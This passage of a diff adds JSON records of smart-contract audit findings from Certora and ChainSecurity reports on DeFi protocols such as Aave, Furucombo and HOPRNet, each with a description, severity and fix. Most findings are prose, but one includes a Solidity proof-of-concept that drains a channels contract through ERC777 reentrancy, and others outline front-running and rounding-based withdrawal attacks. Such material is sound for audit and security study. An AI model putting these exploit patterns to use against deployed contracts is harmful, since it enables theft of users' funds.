depositing to or withdrawing from the vault due to different update mechanisms. While _s.lastVaultBalance is being updated with the exact assets amount passed to the function, aToken uses rayMath to update the ATOKEN.balanceOf(Vault) . While the former is exact, the latter is subject to rounding and may differ from the passed assets amount. At the end of a deposit() or withdraw() , the vault may reach a state where _s.lastVaultBalance == ATOKEN.balanceOf(Vault) \u00b1 1 . Since this scenario may repeat itself, the vault generally may reach a state where _s.lastVaultBalance == ATOKEN.balanceOf(Vault) \u00b1 k , where k is the number of such occurred deposits or withdraws. For the + case, the next time the Vault accrues yield, it will lose its fee from that k unaccounted tokens. For the - case, the next time that the Vault accrues yield, it will gain money it does not deserve on account of the Vault's users. In some extreme cases, the system may even enter an insolvency similar to the one explained in the insolvency bug above. Mitigation/Fix: Fixed in PR#86 merged in commit 385b397.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Low"]}, {"title": "Frontrun - avoiding fee charges for gifts given to the protocol", "body": "Description: The vault intends to charge fees for any yield generated in the Aave pool. This is done by tracking the vault's balance internally at each state-changing method ( lastVaultBalance ) and ensuring that only changes in aTokens' value are accounted for when calculating the fee. However, due to the \"same block\" optimization that is mentioned in the insolvency issue above, a user can front-run a withdrawFees() call and ensure that the vault does not charge fees for any gifts given to the protocol at a block where accrual has already occurred. \fIssue: Frontrun - avoiding fee charges for gifts given to the protocol Detailed Attack: 1. A user sees that the vault owner wants to withdraw fees. 2. The user invokes an action that will trigger accrueYield() and update the state to lastUpdated = now . This can be done cheaply by depositing dust in the vault. At this point, there are a few ways that the user can gift money to the protocol, which will not be counted when calculating fees: 3.a. The user can transfer aTokens directly to the vault. 3.b. The user can redeem shares and send the gains directly to the vault. 3.c. The user can gift money directly to the pool by using the backUnbacked functionality, for example, and increase the liquidity index. 4. When withdrawFees() is invoked, getClaimableFees() returns the stored accumulatedFees instead of recalculating the fee and taking the new yield generated in this block into account. Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "informational"]}, {"title": "Rules Broken:", "body": "Description: Non-compliance of the preview methods with the EIP4626 standard properties: #2 - previewDeposit_has_NO_threshold #4 - previewMint_has_NO_threshold #6 - previewWithdraw_has_NO_threshold #8 - previewRedeem_has_NO_threshold As per EIP4626, all the preview functions must not take into account any limitation of the system, like those returned by the max() methods. In the contract, the preview methods do take into account system limitations. For example let m be the value returned by maxDeposit() . Then value returned from previewDeposit(m1) is identical to the value returned from previewDeposit(m) for every m1>m . As per EIP4626, all the preview functions may revert due to other Mitigation/Fix: conditions that would also cause primary functions to revert. Relying on Aave is acceptable, given that primary functions are impacted by its limitations (e.g. users cannot withdraw if there is no available liquidity in the Aave Pool).", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Informational"]}, {"title": "Withdraw extra assets", "body": "Rules Broken: Total assets of user Description: A user can withdraw an amount that, due to rounding, reduces their balance by shares that correspond to a lower amount and transfer the amount requested. One can repeat this step until no profit is left in the system. Mitigation: Use explicit rounding up/down depending on the context to have the system always benefit from rounding errors.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", "labels": ["Certora", "High"]}, {"title": "Withdraw of profit", "body": "Rules Broken: No change to others Description: In case there is profit in the BentoBox, a user can withdraw an amount that is less than one share which would be rounded down to zero share, and repeat this operation until no profit is left in the system. Mitigation: Withdraw of at least one share", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Lock of assets", "body": "Rules Broken: Inverse of deposit and withdraw Description: Users can not withdraw and leave the BentoBox below some minimum threshold. Mitigation: Reduce the minimum to an insignificant amount www.certora.com \fSeverity: Medium Issue: Denial-of-service on flashloan Rules Broken: N/A Description: When the system has excess tokens, a valid flashloan returning the exact required amount fails. Mitigation: Weaken requirement to take into account the excess collateral", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Inconsistent representation of total assets", "body": "Rules Broken: Solvency Description: Incorrect updating of negative profit from strategy for support of future strategies. Mitigation: New interface for strategies www.certora.com \f", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Potential memory overwrite of the local stack", "body": "Rules Broken: Memory safety Description: In proxy.sol:_parse, if the handler returns length in [1..31], the new index will remain equal to index in _parse, thus allowing to overwrite it in the next iteration of the loop in _execs. Fix: The expectations about valid handler outputs should be checked: the return length is checked to be a multiple of 32.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "High"]}, {"title": "HAaveProtocol executeOperation can be delegatecall-ed directly", "body": "from Proxy Rules Broken: onlyValidCaller; The executeOperation should only be delegatecalled by the Proxy when the flashLoan is initiated by Furucombo. Description: The executeOperation serves as the callback for the flashloan, but in fact it can be called directly from the proxy too. This can be confusing to users and may lead to donation of funds to the lending pool. Fix: executeOperation should be called by a valid caller, in particular the Aave contract.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Handler outputs are limited to types that are in multiples of 32 bytes,", "body": "otherwise return data length and number of return values may not match Rules Broken: Memory safety www.certora.com \fDescription: In Proxy.sol:_execs, if the handler returns a buffer of length in [1..31], and the number of arguments is 0, then data is copied into the local stack while not matching the 32-byte offset packing. The require may pass trivially if the config is set to match to the newly computed newIndex. Fix: Handler return buffers should be 32-byte aligned to be parsed correctly - fixed.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Untrusted handler may overwrite memory", "body": "Rules Broken: Memory safety Description: In Proxy.sol:_exec - returndatasize can be arbitrary, and cause a memory overflow when computing the new value of free memory pointer in _exec. For comparison, when the Solidity compiler handles a function that returns a dynamic type parameter such as an array, it adds various checks that bound the length of the array returned, and forces the increase to be 32-byte aligned. Mitigation: Overflow of the free memory pointer due to huge returndatasize value is infeasible thanks to gas.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Getter functions should be marked view", "body": "Rules Broken: noOverwrite Description: Calling external contracts may lead to reentrancy which in turn could have adverse effects, such as modifying the state of the contract in unexpected ways. For example: - IAToken underlyingAssetAddress - IComptroller getCompAddress Fix: External functions that are not expected to modify the state should be marked view in the relevant interface, to guarantee that the www.certora.com \fSolidity compiler uses STATICCALL opcode which is safer reentrancy-wise.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "batchExec can be called if sender is already set.", "body": "Rules Broken: Only a limited number of operations are allowed when the sender is initialized Description: batchExec unexpectedly succeeds despite the sender being initialized. This is because setSender() is idempotent and does not revert if trying to run it a second time (see related issue). This may mean reentrancy is allowed and hijacking of funds is possible. The other checks (that the cube counter is zero, and that the stack is empty) should make such a reentrancy impossible, but reasoning about it is more complicated and thus could be prone to errors in future versions. (For example, if an attacker is able to overflow the stack length field, and the cube counter, then such a reentrancy is made possible.) Fix: halt and banned agent checks are added before external functions in Proxy.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Description:", "body": "HFunds: getBalance should have the same conditions as _getBalance The _getBalance function in handler base is using 0xeee.. and 0x0 as both indicators to using native ETH token. But HFund\u2019s getBalance function is only comparing against 0x0. This is confusing and potentially could cause errors in handlers\u2019 executions. Fix: HFunds getBalance was changed to call to the internal _getBalance function.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "HFunds: sendTokens can have unexpected eth balance modification", "body": "www.certora.com \fDescription: The token \u201c0\u201d address can be passed multiple times, and nowhere it is checked that the sum of eth amounts is equal to msg.value (or to the current working balance).", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Can unregister a caller or handler via the matching register function", "body": "Rules Broken: Registration of handlers can only be modified by the relevant functions Description: Registry.sol - One can deprecate a handler via the register function, or a caller via the registerCaller function, by giving the \u201cdeprecated\u201d info directly. This is potentially confusing since a dedicated function exists for that end. Fix: Disallow deprecation via register functions.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "2 issues: Halting can be irreversible; banning can be irreversible", "body": "Rules Broken: haltingIsReversible, banningIsReversible Description: Registry.sol - If ownership is renounced in a state where the system is halted, it will be impossible to go back to non halted state. Same is true for the state where an agent is banned, and ownership is renounced. The agent can never be unbanned. Mitigation: No action necessary.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "batchExec can be called on a proxy that was banned by its registry", "body": "Rules Broken: nonExecutableByBannedAgents Description: Proxy.sol/Registry.sol - A proxy is also called an agent by the registry. Banning the proxy in the registry disallows certain callbacks www.certora.com \fto be calling into the proxy, but the top-level batchExec can still be called, and even fully execute (unless there are callbacks to it). Fix: Extend the check of banned agent + halting to batchExec.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Can set a sender a second time without any update", "body": "Rules Broken: nonExecutableWithInitializedSender Description: Storage.sol - The_setSender() function can be called more than once with a non-zero address, but the second call has no effect. This could lead to unexpected results. (This issue is related to \u201cbatchExec can be called if sender is already set.\u201d which is the more concrete effect of this behavior). Fix: Revert in _setSender() if the sender is already set.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Description:", "body": "In LibStack.sol:setHandlerType, _input can have type HandlerType instead of uint256 enum type are uint8 and have Solidity compiler generated checks of compliance, so it\u2019s recommended to use. This also relieves of the need to check the input against uint96. Fix: Change the type of _input to the enum type", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Unused return variable", "body": "Description: In Registry.sol and Proxy.sol, the functions isValidHandler(), isValidCaller(), _isValidHandler() and _isValidCaller(), return `result` by their definition, although this variable\u2019s value is never set. Fix: Omit the return variable name from the function definition. www.certora.com \fSeverity: Recommendation Issue: Hard to read code Description: In Proxy.sol, in _execs() function, the code block handling referenced configs can be simplified by hoisting the call to _exec. In LibParam.sol, the loop counting references in getParams() function can be simplified.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Use an immutable for the registry address", "body": "Description: Storage.sol/Proxy.sol - In case a vulnerable or malicious handler is executed via delegatecall, one privilege escalation method is to override the value stored at the registry slot to point to an alternative registry that allows malicious handlers and callers. Solidity\u2019s immutable feature allows to hard-code the address of the proxy\u2019s registry. www.certora.com \f", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Issue:", "body": "Loss of assets Loss of assets Description: RepayWithATokens function lacks an HF check, can be exploited to withdraw liquidity from the system for free. Mitigation/Fix: Canceled repayment with ATokens on behalf of another user Property violated:", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Risk Exposure Risk Exposure Description: User can come to hold both an isolated and a non-isolated assets as collaterals upon calling AToken.transfer(), liquidation call and mintUnbacked(). Can be exploited to surpass the debt ceiling Mitigation/Fix: A check for isolation mode was added to the functions Property violated:", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Loss of assets Loss of assets Description: Confusion of Asset and EMode price feed for liquidations Mitigation/Fix: Price Sources are called according to EMode Property violated: Emode source price usage \fMedium", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Loss of Users' Profitability Loss of Users' Profitability Description: EMode liquidation may use wrong liquidation bonus Mitigation/Fix: Bonus rewarded correctly according to EMode Medium", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Loss of revenue Loss of revenue Description: When repaying with aToken, the interest rate is updated as if we provided the equivalent liquidity in underlying instead of in AToken. In fact there\u2019s no liquidity provided to the system. It can be used to manipulate the interest rates. Mitigation/Fix: Call to rates updating function was changed to use 0 as the added liquidity Rule Coverage:", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Integrity of ReserveList Integrity of ReserveList Description: _addReserveToList function will push a new reserve into all empty spots of the reserves list, instead of just the first one Mitigation/Fix: A return call was inserted to the loop Rule Coverage: The same asset should not appear twice on the reserves list Recommendation", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Issue:", "body": "Denial of Service Denial of Service Description: Users can be forced into isolation mode through supply(),AToken.transfer() functions, thus temporarily preventing them from borrowing other assets Property violated: Informative Rule: Check which functions can revert for one user due to another user's action Mitagation/Fix: User can withdraw asset of isolation mode", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", "labels": ["Certora", ""]}, {"title": "Theft of yield", "body": "Description: When calling rebalance, the share price goes up as the imbalanced token is being invested. Thus anyone buying shares in deposit right before rebalance is called and withdrawing right after rebalance, will make no-risk pro\ufb01t at the expense of the investors. Mitigation/Fix: Include the imbalanced token amount in share price calculation.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", "labels": ["Certora", "High"]}, {"title": "Loss of yield", "body": "Description: When a user withdraws his shares a long time after the last rebalance call, he won\u2019t get his part of the imbalanced token. Mitigation/Fix: At withdrawal, give the user his part also in the imbalanced token.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Possible to deposit when tick is out of range", "body": "Description: When the tick is out of range, users can still deposit, and that\u2019s not lucrative. Mitigation/Fix: In deposit, check that tick is in range. www.certora.com \fSeverity: Low Issue: Minor loss of shares Description: When withdrawing, due to signi\ufb01cant rounding down, some shares might be lost. Mitigation/Fix: Compute back the shares to burn.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Commingling investors assets with governance assets", "body": "Description: After collecting fees the governance would invest it together with its clients. Mitigation/Fix: Fixed", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Collecting fees as a share of investors income", "body": "Description: Collecting fees as a share of investors income regardless of the incurred expenses, may raise the issue of con\ufb02ict of interest. Mitigation/Fix: Taken into consideration", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", "labels": ["Certora", "Recommendation"]}] \ No newline at end of file diff --git a/results/chainsecurity_findings_1.json b/results/chainsecurity_findings_1.json new file mode 100644 index 0000000..148b77a --- /dev/null +++ b/results/chainsecurity_findings_1.json @@ -0,0 +1 @@ +[{"title": "6.1 Conversion Errors When Computing", "body": " Underlying Graph Token Value Each delegation contains two values relevant for the totally managed assets per indexer: the delegated amount denominated in shares and the locked amount denominated in The Graph tokens. To compute the value in The Graph tokens assigned currently to an indexer pool, getDelegationGrtValue() implements the following logic: (uint256 delegationShares, uint256 tokensLocked, ) = GRAPH_STAKING_CONTRACT.getDelegation( _indexer, address(this) ); (, , , , uint256 poolShares, uint256 poolTokens) = GRAPH_STAKING_CONTRACT.delegationPools( _indexer ); if (delegationShares > 0) { return delegationShares.mul(poolTokens).div(poolShares).add(tokensLocked); } return tokensLocked; Note, however, that the view function delegationPools returns the following struct: struct DelegationPool { uint32 cooldownBlocks; // Blocks to wait before updating parameters uint32 indexingRewardCut; // in PPM uint32 queryFeeCut; // in PPM uint256 updatedAtBlock; // Block when the pool was last updated uint256 tokens; // Total tokens as pool reserves Avantgarde Finance - Sulu Extensions IV - 15 CriticalHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f uint256 shares; // Total shares minted in the pool mapping(address => Delegation) delegators; // Mapping of delegator => Delegation } The poolShares return value corresponds to the tokens value in the struct (similar for poolTokens). Hence, the return values are not used correctly when delegationShares > 0 holds since the shares' value in GRT will be computed with the inverse of the actual exchange rate. The tests leave this issue undiscovered since for the delegation pool used in the test case tokens equals shares which hides the issue. Ultimately, getManagedAssets() will incorrectly estimate the position. The poolTokens and poolShares values are now delegationPools. retrieved in the correct order from ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "6.2 Incorrect Argument Order for lowerHint and", "body": " upperHint In LiquityDebtPositionLib.sol, the order in which the lowerHint and upperHint arguments are passed is incorrect in several locations. This includes private calls (from receiveCallFromVault to the action in question), external calls (from the action to ILiquityBorrowerOperations). Furthermore, there are mix-ups in the tests as well. Passing the hints in the wrong order generally does not result in the call to Liquity to fail. However, as the hint is unusable, the execution spends more gas to find the right location. Below is a summary of whether these function calls are made with a correct argument order for each action within the smart contract: __openTrove: Private call: Incorrect External call: Incorrect __addCollateral: Private call: Correct External call: Incorrect __removeCollateral: Private call: Correct External call: Incorrect __borrow: Private call: Incorrect External call: Correct __repayBorrow: Avantgarde Finance - Sulu Extensions IV - 16 CorrectnessMediumVersion1CodeCorrected \f Private call: Incorrect External call: Correct The convention that Liquity seems to follow is to pass upperHint before lowerHint. In Liquity's SortedTroves.sol, a different naming (_prevId and __nextID) is used. Since troves are sorted in descending order, _prevId actually corresponds to upperHint. This is inconsistent with how hints are interpreted/named in LiquityDebtPosition.test.ts. In some test cases hints are in switched as well. One example is the implementation and the test case for repayBorrow: The arguments are switched in the smart contract code and in the corresponding test. Two wrongs make a right and the hints are passed correctly. When an uneven number of such mistakes are made, the hints are useless and the gas consumption of the call increases. After switching all the hints arguments in the tests, the gas consumption of the above actions is as follows: __openTrove: Higher (761598 vs. 748240) __addCollateral: Higher (516155 vs. 417178) __removeCollateral: Lower (549037 vs. 562395) __borrow: Lower (1181526 vs. 1194884) __repayBorrow: Higher (490531 vs. 391554) Overall, the arguments upperHint and lowerHint should be rechecked and corrected everywhere to ensure useful hints are passed to Liquity and gas used is minimized. Hints are now always passed in the same order, i.e., upperHint, lowerHint. The code was also improved to more explicitly identify these two arguments. Furthermore, the tests were updated to use a collateralization ratio that will avoid placing the trove at an extremity of the sorted list to validate the correct passing of hints. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "6.3 Lending Pools Array Read Twice From", "body": " Storage in getManagedAssets In MapleLiquidityPositionLib.getManagedAssets() the length of the used lending pools is queried by copying the full array from storage into memory. Next, the for loop iterates over the array and reads the elements from storage. Hence, gas consumption could be reduced by caching the array in memory. The pools are now cached into memory and no longer read from storage repeatedly. Avantgarde Finance - Sulu Extensions IV - 17 DesignLowVersion1CodeCorrected \f6.4 Pool Owner Could Change To prevent the manipulation of a pool, reentrancy is checked through the withdraw_admin_fees function of the pool owner contract. However, the pool owner address could change and hence such calls on the pool could fail not due to reentrancy but due to access control. The price feed stores the address as an immutable and, thus, could become unusable in the aforementioned scenario of changing ownerships. The pool owner address is not immutable anymore. Now, it can be changed by governance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "6.5 LendAndStake Stakes the Full Balance", "body": " LendAndStake is an action wrapping the lending and the staking action. First, it lends an amount of liquidity assets to the Maple pool. Next, it stakes LP tokens to the rewards contract to get some extra rewards: function __lendAndStakeAction(bytes memory _actionArgs) private { ( address pool, address rewardsContract, uint256 liquidityAssetAmount ) = __decodeLendAndStakeActionArgs(_actionArgs); __lend(IMaplePool(pool).liquidityAsset(), pool, liquidityAssetAmount); __stake(rewardsContract, pool, ERC20(pool).balanceOf(address(this))); } The argument passed to the internal __stake function is the full balance of the pool token. Note that it is also possible to lend the underlying without staking. Consider now the following scenario: 1. 100 tokens are lent into the pool. 100 LP tokens are received. 2. Later, lend and stake is used with 100 underlying tokens. 3. The full balance, namely 200 LP tokens, will be staked. Such behavior could be unexpected for fund managers. The code of __lendAndStakeAction() has been changed and now only stakes the amount of tokens received. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "6.6 __curveGaugeV2GetRewardsTokensWithCrv", "body": " Is Unused Avantgarde Finance - Sulu Extensions IV - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe internal function __curveGaugeV2GetRewardsTokensWithCrv is unused and could be removed to reduce deployment cost. The function has been removed. Avantgarde Finance - Sulu Extensions IV - 19 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "7.1 Derived Contracts Could By-Pass the", "body": " Invariant on the Sum of Shares The TreasurySplitterMixin is an abstract contract that allows splitting funds at constant ratios (which should sum up to 100%) among users. The only possibility to modify the split ratio in a more derived contract is through the internal function __setSplitRatio. function __setSplitRatio(address[] memory _users, uint256[] memory _splitPercentages) internal { uint256 totalSplitPercentage; for (uint256 i; i < _users.length; i++) { // ... duplicate and non-zero validation userToSplitPercentage[_users[i]] = _splitPercentages[i]; totalSplitPercentage = totalSplitPercentage.add(_splitPercentages[i]); emit SplitPercentageSet(_users[i], _splitPercentages[i]); } require(totalSplitPercentage == ONE_HUNDRED_PERCENT, \"__setSplitRatio: Split not 100%\"); } This function is agnostic to the current storage of the contract. Hence, the following scenario could occur: 1. A more derived contract sets the split ratio with __setSplitRatio to 100% for user A. Hence, userToSplitPercentage for A will be 100% while no invariants are violated. 2. In another step, the more derived contract tries to add user B to the sharing mechanism. It passes only user B and 50% to the function. 3. Now, the userToSplitPercentage is set to 50% for B. 4. The sum of all user split percentages is 150% which violates the invariant. Hence, the current implementation is only suited for one-time setting of split ratios. With the current usage, this is not an issue as the shares splitter contract will set the ratio only once upon creation. However, future contracts inheriting from the TreasurySplitterMixin could require some additional logic to prevent the invariant violations described above. Avantgarde Finance - Sulu Extensions IV - 20 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-iv/"}, {"title": "6.1 HoprChannels ERC777 Reentrancy", "body": " An attacker can leverage the ERC777 capability of the wxHOPR token to drain the funds of HoprChannels contract. CS-HPRNMM23-001 Attack vector: Assume the attacker deploys the following pair of contracts at ALICE and BOB addresses respectively. contract Bob { function close() public { HoprChannels channels = HoprChannels(0x...); HOPRNet - Node Management Module - 12 CriticalCodeCorrectedCodeCorrectedHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \f channels.closeIncomingChannel(ALICE); } } contract Alice is IERC777Recipient { bool once = false; function tokensReceived(...) public { if (once) { return; } once = true; HoprChannels channels = HoprChannels(0x...); channels.fundChannel(BOB, 1); Bob(BOB).close(); } function hack() public { _ERC1820_REGISTRY.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); HoprChannels channels = HoprChannels(0x...); channels.fundChannel(BOB, 10); Bob(BOB).close(); } } Exploit scenario: When Alice.hack() is called, the following happens: 1. Alice's contract registers itself as its own ERC777TokensRecipient. 2. Alice funds outgoing channel to Bob with 10 wxHOPR. 3. Bob closes the incoming channel with Alice. 4. During the execution of closeIncomingChannel() the 10 wxHOPR tokens are transferred to Alice. 5. The tokensReceived() function of Alice is called. During this call: 1. Alice funds outgoing channel to Bob with 1 wxHOPR. Balance of the channel becomes 11 wxHOPR. 2. Bob closes the incoming channel with Alice and 11 wxHOPR tokens are transferred to Alice. 3. This time the tokensReceived() function of Alice does nothing. The balance of the channel is set to 0. 6. The closeIncomingChannel() that started on step 4. sets the balance of channel to 0. As a result, attacker using 10+1 token can withdraw 10+11 wxHOPR tokens from the channel. The attacker can loop the reentrancy even more time for more profit. Cause: HOPRNet - Node Management Module - 13 \fThe change of channel balance to 0 happens after the reentrant call to token.transfer() in the _closeIncomingChannelInternal() is effectively violated. Similar violations happen in other functions of the HoprChannels contract: function. Thus, checks-effects-interactions pattern _finalizeOutgoingChannelClosureInternal() sets the channel balance to 0 after the reentrant call to token.transfer(). _redeemTicketInternal() calls indexEvent and emits events after token.tranfer() call in case when the earning channel is closed. This effectively can lead do the wrong order of events in the event log or a different snapshot root. The code has been corrected by moving the token transfer to the end of the function in all relevant functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.2 Winning Ticker Can Be Redeemed Multiple", "body": " Times CS-HPRNMM23-002 Assume Alice has outgoing channel to Bob with 1 as ticketIndex. Following scenario is possible: 1. Alice provides Bob 4 non-winning tickets with ticketIndex 2, 3, 4, 5 and a winning ticket with ticketIndex 6. All of those tickets are non-aggregated and thus their indexOffset is 1. 2. Bob redeems the winning ticket. In the _redeemTicketInternal function, the ticketIndex of the spending channel is updated as: spendingChannel.ticketIndex += indexOffset. The ticketIndex of the spending channel is now 2. 3. Bob can redeem the ticket again, because the only requirement on ticketIndex is that it is greater than the ticketIndex of the spending channel. Thus, same winning ticket can be redeemed multiple times. The ticketHash signature from Alice does not prevent this, because it does not contain any nonce or other replay protection mechanism. The spendingChannel.ticketIndex = TicketIndex.wrap(baseIndex + baseIndexOffset). ticketIndex spending updated channel been has the of as: And been (baseIndexOffset >= 1) && (baseIndex >= currentIndex). validity check ticket has the of adjusted to require: ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.3 EIP-712 Incompliant Signed Message", "body": " The EIP-712 compliant message should start with a two-byte prefix \"0x1901\" followed by the domainSeparator and the message hash struct. Whereas two 32-bytes are used in the following cases for the prefix because of abi.encode. Consequently the signatures generated by the mainstream EIP-712 compliant libraries cannot be verified in these smart contracts: CS-HPRNMM23-003 HOPRNet - Node Management Module - 14 SecurityCriticalVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f1. registerSafeWithNodeSig() in NodeSafeRegistry. 2. _getTicketHash() in Channels. The abi.encodePacked has been used instead of abi.encode to generate the message hash struct. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.4 Incorrect indexEvent Input", "body": " The channel will call indexEvent() when emitting a new event. In the following case, indexEvent() is incorrectly invoked with an extra channel.balance field compared to the emitted event. As a result, the snapshot will contain an incorrect event. CS-HPRNMM23-021 indexEvent(abi.encodePacked(ChannelOpened.selector, self, account, channel.balance)); emit ChannelOpened(self, account); The redundant field channel.balance has been removed from the indexEvent input. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.5 Dependencies Between Source File Folders", "body": " CS-HPRNMM23-004 The packages/ethereum/contracts foundry project have following problems Some of the files in src folder depend on smart contracts from test folder. Some of the files in src folder depend on smart contracts from script folder. Such dependencies are considered as bad practice and should be avoided. Potential risks are: Separation of concerns is not respected. Testing and setup code should not impact production code. Risk of deploying test code to production is increased. Maintenance of the project is more difficult. Changes in test or script folders may impact production code. HOPRNet responded: The placement of specific library files and contracts have been reorganized to align with improved structuring and imports. HOPRNet - Node Management Module - 15 CorrectnessLowVersion2CodeCorrectedDesignLowVersion1CodeCorrected \f6.6 DomainSeparator Is Not Recomputed After a Change of Chain ID In contracts Channels and NodeSafeRegistry, the domainSeparator is defined as an immutable in the constructor and used in the signature verification. In case there is a fork, the contracts will still verify a signature based on the old domainSeparator, whereas the forked chain is associated with a different chain ID. Besides, the signature targeted to the original chain can be replayed to the forked chain. In order to support the potential forked chains and avoid signature replay, the domainSeparator needs to be recomputed based on on-chain chain ID. CS-HPRNMM23-005 Function updateDomainSeparator has been introduced in contracts Channels and NodeSafeRegistry to update the domainSeparator based on the on-chain chain ID. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.7 HoprNodeSafeRegistry Is Not an", "body": " INodeSafeRegistry The contract does not inherit from INodeSafeRegistry, which means the compiler will not check that the contract implements all functions correctly. CS-HPRNMM23-006 The INodeSafeRegistry contract has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.8 HoprNodeStakeFactory Can Clones Any", "body": " Module The clone() function of the 